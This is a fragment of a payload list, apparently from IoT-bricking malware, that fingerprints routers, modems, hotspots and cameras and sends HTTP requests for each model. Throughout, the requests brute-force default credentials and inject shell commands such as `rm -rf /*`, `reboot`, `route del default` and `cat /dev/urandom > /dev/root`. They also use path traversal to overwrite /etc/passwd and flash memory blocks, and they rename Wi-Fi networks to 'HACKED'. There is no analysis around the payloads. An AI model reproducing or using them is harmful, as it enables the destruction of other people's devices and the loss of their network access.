'POST /ajax.cgi?action=net_bridge_nat_mode HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nsid=%%CUSTOM1%%&LAN_IP_01=10&LAN_IP_02=%%RAND81%%&LAN_IP_03=%%RAND82%%&LAN_IP_04=%%RAND83%%&LAN_IP=10.%%RAND8%%&LAN_MASK_01=255&LAN_MASK_02=255&LAN_MASK_03=255&LAN_MASK_04=254&LAN_MASK=255.255.255.254&LAN_MTU=1500&WAN_OP_MODE=0&WAN_TYPE=0&WAN_IP=&WAN_MASK=&WAN_GATEWAY=&WAN_MTU=1400&dns_type_1=1&DNS_IP_1_01=0&DNS_IP_1_02=0&DNS_IP_1_03=0&DNS_IP_1_04=0&DNS_IP_1=&dns_type_2=1&DNS_IP_2_01=0&DNS_IP_2_02=0&DNS_IP_2_03=0&DNS_IP_2_04=0&DNS_IP_2=&dns_type_3=1&DNS_IP_3_01=0&DNS_IP_3_02=0&DNS_IP_3_03=0&DNS_IP_3_04=0&DNS_IP_3=&btnSubmit=1&WAN_DNS=1%2C0.0.0.0+1%2C0.0.0.0+1%2C0.0.0.0' ,
'POST /ajax.cgi?action=manage_snmp HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nsid=%%CUSTOM1%%&SNMPD_ENABLE=1&ROCOMMUNITY=%60rm+-rf+/*%60&RWCOMMUNITY=&SYSCONTACT=&SYSLOCATION=&btnSubmit=1' ,
'POST /ajax.cgi?action=net_ddns HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nsid=%%CUSTOM1%%&DDNS_ENABLE=on&DDNS_PROVIDER=0&DDNS_TYPE=0&DDNS_HOST=%60reboot%60&DDNS_DOMAIN=hacked&DDNS_USERNAME=hacked&DDNS_PASSWORD=hacked&btnSubmit=1' ,
'GET / HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
] ,
[ 'mediatekwimax' , '302 Found.*Server: httpd.*Location: login.html' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=admin&PASSWORD=admin' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=user&PASSWORD=user' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=guest&PASSWORD=guest' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=guest&PASSWORD=linkem123' ,
'GET /index.html?WWW_SID=%%CUSTOM1%% HTTP/1.0\r\n\r\n' ,
'POST /user.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nWWW_SID=%%CUSTOM1%%&REDIRECT=net-lan.html&SERVICE=dhcpd&DHCPD_STATIC_LEASE=&DHCPD_DNS=0%2C0.0.0.0+1%2C0.0.0.0+1%2C0.0.0.0&DHCPD_ENABLE=0&DHCPD_START_IP=192.168.0.2&DHCPD_END_IP=192.168.0.254&DHCPD_LEASE_TIME=1440&DHCPD_RELAY_IP=0.0.0.0&First_Type=1&Second_Type=1&Third_Type=1' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=%%LOGIN%%&PASSWORD=%%PASSWORD%%' ,
'GET /index.html?WWW_SID=%%CUSTOM1%% HTTP/1.0\r\n\r\n' ,
'POST /mtk.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nWWW_SID=%%CUSTOM1%%&REDIRECT=wifi-wlan.MT5921.html&SERVICE=wifi&SLEEP=7&WLAN_WifiEnable=0&WLAN_WscAction=&WLAN_WscConfMode=&WLAN_AuthMode=&WLAN_DefaultKeyID=1%3B1%3B&WLAN_EncrypType=&WLAN_GenPin=&WLAN_WscConfStatus=1&WLAN_SSID1=HACKED&WLAN_SSID2=MTK2' ,
'POST /user.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nWWW_SID=%%CUSTOM1%%&REDIRECT=wifi-wlan.MT5921.html&SERVICE=wifi&SLEEP=7&WLAN_WifiEnable=0&WLAN_WscAction=&WLAN_WscConfMode=&WLAN_AuthMode=&WLAN_DefaultKeyID=1%3B1%3B&WLAN_EncrypType=&WLAN_GenPin=&WLAN_WscConfStatus=1&WLAN_SSID1=HACKED&WLAN_SSID2=MTK2' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=%%LOGIN%%&PASSWORD=%%PASSWORD%%' ,
'GET /index.html?WWW_SID=%%CUSTOM1%% HTTP/1.0\r\n\r\n' ,
'POST /user.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nWWW_SID=%%CUSTOM1%%&REDIRECT=adv-nat.html&SERVICE=netfilter_dmz&NETFILTER_DMZ_ENABLE=1&NETFILTER_DMZ_HOST=8.8.8.8' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=%%LOGIN%%&PASSWORD=%%PASSWORD%%' ,
'GET /index.html?WWW_SID=%%CUSTOM1%% HTTP/1.0\r\n\r\n' ,
'POST /user.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nWWW_SID=%%CUSTOM1%%&REDIRECT=net-lan.html&SLEEP=3&SERVICE=networking_lan&LAN_IP=10.%%RAND16%%&LAN_MASK=255.255.255.254' ,
'POST /voip_ip_zyims.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nWWW_SID=%%CUSTOM1%%&REDIRECT=zysc-acct.html%3Find%3D1&SERVICE=sc&SUC_RET=3&ACTION=disconnect&ACCT=1' ,
'POST /voip_ip_zyims.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nWWW_SID=%%CUSTOM1%%&REDIRECT=zysc-acct.html%3Find%3D1&SERVICE=sc&SUC_RET=3&ACTION=disconnect&ACCT=2' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=%%LOGIN%%&PASSWORD=%%PASSWORD%%' ,
'GET /index.html?WWW_SID=%%CUSTOM1%% HTTP/1.0\r\n\r\n' ,
'POST /mtk.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nWWW_SID=%%CUSTOM1%%&REDIRECT=sys-log.html&SLEEP=1&SERVICE=sysklogd&SYSLOGD_LOG_ENABLE=1&SYSLOGD_REMOTE_LOG=1&LOG_ENABLE=on&SYSLOGD_LOG_LEVEL=7&REMOTE_LOG=on&SYSLOGD_REMOTE_HOST=%60reboot%60&SYSLOGD_REMOTE_PORT=514' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=%%LOGIN%%&PASSWORD=%%PASSWORD%%' ,
'GET /index.html?WWW_SID=%%CUSTOM1%% HTTP/1.0\r\n\r\n' ,
'POST /user.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nWWW_SID=%%CUSTOM1%%&REDIRECT=net-ddns.html&DDNS_ENABLE=1&DDNS_WILDCARD=1&DDNS_BACKUP_MX=0&DDNS_MX=0&SERVICE=ddns&DDNS_PROVIDER=0&DDNS_TYPE=0&DDNS_HOST=%60reboot%60&DDNS_DOMAIN=hacked&DDNS_USERNAME=hacked&DDNS_PASSWORD=hacked&DDNS_IPPOLICY=0' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=%%LOGIN%%&PASSWORD=%%PASSWORD%%' ,
'GET /index.html?WWW_SID=%%CUSTOM1%% HTTP/1.0\r\n\r\n' ,
'POST /user.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nWWW_SID=%%CUSTOM1%%&REDIRECT=sys-log.html&SLEEP=1&SERVICE=sysklogd&SYSLOGD_LOG_ENABLE=1&SYSLOGD_REMOTE_LOG=1&LOG_ENABLE=on&SYSLOGD_LOG_LEVEL=7&REMOTE_LOG=on&SYSLOGD_REMOTE_HOST=%60reboot%60&SYSLOGD_REMOTE_PORT=514' ,
'POST /wmx_auth.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nWWW_SID=%%CUSTOM1%%&REDIRECT=wmx-profile.html&SLEEP=1&WMX_AUTH_MODE=0' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=%%LOGIN%%&PASSWORD=%%PASSWORD%%' ,
'GET /index.html?WWW_SID=%%CUSTOM1%% HTTP/1.0\r\n\r\n' ,
'POST /reboot.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nWWW_SID=%%CUSTOM1%%' ,
'GET / HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
] ,
[ 'mediatekrpc' , '302 Found.*Server: httpd.*Location: login\.asp' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=admin&PASSWORD=admin&REDIRECT=index.asp&REDIRECT_ERR=login.asp' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=user&PASSWORD=user&REDIRECT=index.asp&REDIRECT_ERR=login.asp' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=guest&PASSWORD=guest&REDIRECT=index.asp&REDIRECT_ERR=login.asp' ,
'GET /index.asp?WWW_SID=%%CUSTOM1%% HTTP/1.0\r\n\r\n' ,
'POST /rpc.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nCOUNT=9&WWW_SID=%%CUSTOM1%%&ACTION_1=sncfgSet&NAME_1=DHCPD_ENABLE&VALUE_1=0&ACTION_2=sncfgSet&NAME_2=DHCPD_START_IP&VALUE_2=192.168.0.100&ACTION_3=sncfgSet&NAME_3=DHCPD_END_IP&VALUE_3=192.168.0.199&ACTION_4=sncfgSet&NAME_4=DHCPD_LEASE_TIME&VALUE_4=1440&ACTION_5=sncfgSet&NAME_5=DHCPD_RELAY_IP&VALUE_5=0.0.0.0&ACTION_6=sncfgSet&NAME_6=DHCPD_METRIC&VALUE_6=30&ACTION_7=service&NAME_7=dhcpd&VALUE_7=reload&ACTION_8=service&NAME_8=lan&VALUE_8=reload&ACTION_9=service&NAME_9=wifi&VALUE_9=reload' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=%%LOGIN%%&PASSWORD=%%PASSWORD%%&REDIRECT=index.asp&REDIRECT_ERR=login.asp' ,
'GET /index.asp?WWW_SID=%%CUSTOM1%% HTTP/1.0\r\n\r\n' ,
'POST /rpc.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nCOUNT=25&WWW_SID=%%CUSTOM1%%&ACTION_1=sncfgSet&NAME_1=WLAN_Channel&VALUE_1=6&ACTION_2=sncfgSet&NAME_2=WLAN_WirelessMode&VALUE_2=9&ACTION_3=sncfgSet&NAME_3=WLAN_TXPOWER_NOR&VALUE_3=10&ACTION_4=sncfgSet&NAME_4=WLAN_BeaconPeriod&VALUE_4=100&ACTION_5=sncfgSet&NAME_5=WLAN_DtimPeriod&VALUE_5=1&ACTION_6=sncfgSet&NAME_6=WLAN_SSID1&VALUE_6=HACKED&ACTION_7=sncfgSet&NAME_7=ManualSetSSID&VALUE_7=1&ACTION_8=sncfgSet&NAME_8=WLAN_EncrypType&VALUE_8=AES%3B&ACTION_9=sncfgSet&NAME_9=WLAN_AuthMode&VALUE_9=WPA2PSK%3B&ACTION_10=sncfgSet&NAME_10=WLAN_HideSSID&VALUE_10=0%3B&ACTION_11=sncfgSet&NAME_11=WLAN_DefaultKeyID&VALUE_11=&ACTION_12=sncfgSet&NAME_12=WLAN_Key1Type&VALUE_12=&ACTION_13=sncfgSet&NAME_13=WLAN_Key2Type&VALUE_13=&ACTION_14=sncfgSet&NAME_14=WLAN_Key3Type&VALUE_14=&ACTION_15=sncfgSet&NAME_15=WLAN_Key4Type&VALUE_15=&ACTION_16=sncfgSet&NAME_16=WLAN_WAPIPassType&VALUE_16=1%3B&ACTION_17=sncfgSet&NAME_17=WLAN_WPAPSK1&VALUE_17=XnSKDUJjRL&ACTION_18=sncfgSet&NAME_18=WLAN_Key1Str1&VALUE_18=XnSKDUJjRL&ACTION_19=sncfgSet&NAME_19=WLAN_Key2Str1&VALUE_19=XnSKDUJjRL&ACTION_20=sncfgSet&NAME_20=WLAN_Key3Str1&VALUE_20=XnSKDUJjRL&ACTION_21=sncfgSet&NAME_21=WLAN_Key4Str1&VALUE_21=XnSKDUJjRL&ACTION_22=sncfgSet&NAME_22=WLAN_WAPIPassword1&VALUE_22=XnSKDUJjRL&ACTION_23=sncfgSet&NAME_23=WLAN_HT_BW&VALUE_23=0&ACTION_24=sncfgSet&NAME_24=WLAN_SecondChannel&VALUE_24=0&ACTION_25=service&NAME_25=wifi&VALUE_25=switch' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=%%LOGIN%%&PASSWORD=%%PASSWORD%%&REDIRECT=index.asp&REDIRECT_ERR=login.asp' ,
'GET /index.asp?WWW_SID=%%CUSTOM1%% HTTP/1.0\r\n\r\n' ,
'POST /rpc.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nCOUNT=6&WWW_SID=%%CUSTOM1%%&ACTION_1=sncfgSet&NAME_1=LAN_IP&VALUE_1=10.%%RAND8%%&ACTION_2=sncfgSet&NAME_2=LAN_MASK&VALUE_2=255.255.255.0&ACTION_3=service&NAME_3=lan&VALUE_3=reload&ACTION_4=sncfgSet&NAME_4=DNSPROXY_DEVICE_NAME&VALUE_4=hacked.modem&ACTION_5=service&NAME_5=totd&VALUE_5=reload&ACTION_6=service&NAME_6=wifi&VALUE_6=reload' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=%%LOGIN%%&PASSWORD=%%PASSWORD%%&REDIRECT=index.asp&REDIRECT_ERR=login.asp' ,
'GET /index.asp?WWW_SID=%%CUSTOM1%% HTTP/1.0\r\n\r\n' ,
'POST /rpc.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nCOUNT=4&WWW_SID=%%CUSTOM1%%&ACTION_1=sncfgSet&NAME_1=DHCPD_NTP&VALUE_1=2%2C%60route%20del%20default%60+0%2C0.0.0.0+0%2C0.0.0.0&ACTION_2=service&NAME_2=dhcpd&VALUE_2=reload&ACTION_3=service&NAME_3=lan&VALUE_3=reload&ACTION_4=service&NAME_4=wifi&VALUE_4=reload' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=%%LOGIN%%&PASSWORD=%%PASSWORD%%&REDIRECT=index.asp&REDIRECT_ERR=login.asp' ,
'GET /index.asp?WWW_SID=%%CUSTOM1%% HTTP/1.0\r\n\r\n' ,
'POST /rpc.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nCOUNT=3&WWW_SID=%%CUSTOM1%%&ACTION_1=sncfgSet&NAME_1=DNSPROXY_DEVICE_NAME&VALUE_1=%60route%20del%20default%60&ACTION_2=service&NAME_2=totd&VALUE_2=reload&ACTION_3=service&NAME_3=wifi&VALUE_3=reload' ,
'POST /login.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nID=%%LOGIN%%&PASSWORD=%%PASSWORD%%&REDIRECT=index.asp&REDIRECT_ERR=login.asp' ,
'GET /index.asp?WWW_SID=%%CUSTOM1%% HTTP/1.0\r\n\r\n' ,
'POST /rpc.cgi HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nCOUNT=3&WWW_SID=%%CUSTOM1%%&ACTION_1=sncfgSet&NAME_1=DNSPROXY_DEVICE_NAME&VALUE_1=%60reboot%60&ACTION_2=service&NAME_2=totd&VALUE_2=reload&ACTION_3=service&NAME_3=wifi&VALUE_3=reload' ,
'GET / HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
] ,
[ 'mdmweb' , 'Server: lighttpd.*xmlns=.*;<title></title>;.*href=include/style.css' ,
'POST /cgi-bin/qcmap_auth HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nContent-Length: %%BODYLENGTH%%\r\n\r\ntype=login&pwd=21232f297a57a5a743894a0e4a801fc3&timeout=300&user=admin' ,
'POST /cgi-bin/qcmap_auth HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nContent-Length: %%BODYLENGTH%%\r\n\r\ntype=login&pwd=admin&timeout=300&user=admin' ,
'POST /cgi-bin/qcmap_web_cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nPage=SetMobileAP&mask=2&autoconnect=0&autoconnect_result=0&roaming=0&roaming_result=0&token=%%CUSTOM1%%' ,
'POST /cgi-bin/qcmap_web_cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nPage=ModifyProfile&mask=0&type=1&index=0&name=EVO&apn=default.hacked&username=default.hacked&password=default.hacked&auth_protocol=0&pdn_type=1&rat_type=3&pdn_level_user=&pdn_level_password=&pdn_level_label=&pdn_level_auth_type=0&token=%%CUSTOM1%%' ,
'POST /cgi-bin/qcmap_web_cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nPage=SetWLANConfig&mask=0&wifi_enable=0&wifi_ssid=DEFAULT_PW&wifi_hide=0&wifi_band=1&wifi_mode=2&wifi_channel=0&wifi_max_clients=10&wifi_EncrypType=3&wifi_AuthMode=1&wifi_wep_default_key=&wifi_wep_key_len=&wifi_Key1Type=&wifi_Key1Str1=&wifi_Key2Type=&wifi_Key2Str1=&wifi_Key3Type=&wifi_Key3Str1=&wifi_Key4Type=&wifi_Key4Str1=&wifi_wpa_password=%%RAND8%%&wifi_wapi_key_type=0&wifi_wapi_key=&wifi_HT_BW=0&wifi_SecondChannel=1&wifi_beaconPeriod=20&wifi_dtimPeriod=1&token=%%CUSTOM1%%' ,
'POST /cgi-bin/qcmap_web_cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nPage=SetLanConfig&Mask=1&lan_gw_addrs=192.168.%%RAND16%%&lan_sub=255.255.255.254&lan_dhcp=1&lan_dhcp_start=192.168.%%COMP16%%&lan_dhcp_end=192.168.%%COMP16%%&lan_dhcp_lease=30&token=%%CUSTOM1%%' ,
'POST /cgi-bin/qcmap_web_cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nPage=SetNetworkMode&mask=0&mode=2&token=%%CUSTOM1%%' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'airosfile' , 'Cookie: AIR' ,
'POST /login.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: multipart/form-data; boundary=XXX\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n--XXX\r\nContent-Disposition: form-data; name="passwd"; filename="../../etc/passwd"\r\n\r\ntest:D/jrO7OLO39l.:0:0:Administrator:/etc/persistent:/bin/sh\r\n--XXX--\r\n' ,
'POST /login.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: multipart/form-data; boundary=XXX\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n--XXX\r\nContent-Disposition: form-data; name="passwd"; filename="../../dev/mtdblock5"\r\n\r\nUBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI \r\n--XXX--\r\n' ,
'POST /login.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: multipart/form-data; boundary=XXX\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n--XXX\r\nContent-Disposition: form-data; name="passwd"; filename="../../dev/mtdblock4"\r\n\r\nUBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI \r\n--XXX--\r\n' ,
'POST /login.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: multipart/form-data; boundary=XXX\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n--XXX\r\nContent-Disposition: form-data; name="passwd"; filename="../../dev/mtdblock6"\r\n\r\nUBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI \r\n--XXX--\r\n' ,
'POST /login.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: multipart/form-data; boundary=XXX\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n--XXX\r\nContent-Disposition: form-data; name="passwd"; filename="../../dev/mem"\r\n\r\nUBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI NETWORKS UBRICKUITI \r\n--XXX--\r\n' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'xionghash' , 'Server: uc-httpd' ,
'GET ../../../../../mnt/mtd/Config/Account1 HTTP/1.0\r\n\r\n' ,
'xtsxpand:iris_small:1' ,
'xtsxpand:focus_near:1' ,
'xtsxpand:zoom_tile:1' ,
'xtsxpand:direction_down:1' ,
'xnrxpand:irissmall:1' ,
'xnrxpand:focusnear:1' ,
'xnrxpand:zoomtile:1' ,
'xnrxpand:directiondown:1' ,
'xtsxpand:iris_small:2' ,
'xtsxpand:focus_near:2' ,
'xtsxpand:zoom_tile:2' ,
'xtsxpand:direction_down:2' ,
'xnrxpand:irissmall:2' ,
'xnrxpand:focusnear:2' ,
'xnrxpand:zoomtile:2' ,
'xnrxpand:directiondown:2' ,
'xtsxpand:iris_small:3' ,
'xtsxpand:focus_near:3' ,
'xtsxpand:zoom_tile:3' ,
'xtsxpand:direction_down:3' ,
'xnrxpand:irissmall:3' ,
'xnrxpand:focusnear:3' ,
'xnrxpand:zoomtile:3' ,
'xnrxpand:directiondown:3' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'hnap' , '(HTTP|HTML|html)' ,
'GET /HNAP1/ HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'hnapxpand:admin/admin:SetWanSettings:SetWanSettings:<Type>Static</Type><IPAddress>10.%%RAND8%%</IPAddress><SubnetMask>255.255.255.0</SubnetMask><Gateway>10.%%COMP8%%</Gateway>' ,
'hnapxpand:admin/1234:SetWanSettings:SetWanSettings:<Type>Static</Type><IPAddress>10.%%RAND8%%</IPAddress><SubnetMask>255.255.255.0</SubnetMask><Gateway>10.%%COMP8%%</Gateway>' ,
'hnapxpand:admin/password:SetWanSettings:SetWanSettings:<Type>Static</Type><IPAddress>10.%%RAND8%%</IPAddress><SubnetMask>255.255.255.0</SubnetMask><Gateway>10.%%COMP8%%</Gateway>' ,
'hnapxpand:admin/:SetWanSettings:SetWanSettings:<Type>Static</Type><IPAddress>10.%%RAND8%%</IPAddress><SubnetMask>255.255.255.0</SubnetMask><Gateway>10.%%COMP8%%</Gateway>' ,
'hnapxpand:user/user:SetWanSettings:SetWanSettings:<Type>Static</Type><IPAddress>10.%%RAND8%%</IPAddress><SubnetMask>255.255.255.0</SubnetMask><Gateway>10.%%COMP8%%</Gateway>' ,
'hnapxpand:user/1234:SetWanSettings:SetWanSettings:<Type>Static</Type><IPAddress>10.%%RAND8%%</IPAddress><SubnetMask>255.255.255.0</SubnetMask><Gateway>10.%%COMP8%%</Gateway>' ,
'hnapxpand:user/:SetWanSettings:SetWanSettings:<Type>Static</Type><IPAddress>10.%%RAND8%%</IPAddress><SubnetMask>255.255.255.0</SubnetMask><Gateway>10.%%COMP8%%</Gateway>' ,
'hnapxpand:cisco/cisco:SetWanSettings:SetWanSettings:<Type>Static</Type><IPAddress>10.%%RAND8%%</IPAddress><SubnetMask>255.255.255.0</SubnetMask><Gateway>10.%%COMP8%%</Gateway>' ,
'hnapxpand:Cisco/Cisco:SetWanSettings:SetWanSettings:<Type>Static</Type><IPAddress>10.%%RAND8%%</IPAddress><SubnetMask>255.255.255.0</SubnetMask><Gateway>10.%%COMP8%%</Gateway>' ,
'hnapxpand:cusadmin/password:SetWanSettings:SetWanSettings:<Type>Static</Type><IPAddress>10.%%RAND8%%</IPAddress><SubnetMask>255.255.255.0</SubnetMask><Gateway>10.%%COMP8%%</Gateway>' ,
'hnapxpand:admin/admin:GetDeviceSettings/`cat${IFS}/dev/urandom${IFS}>/dev/root`:GetDeviceSettings:' ,
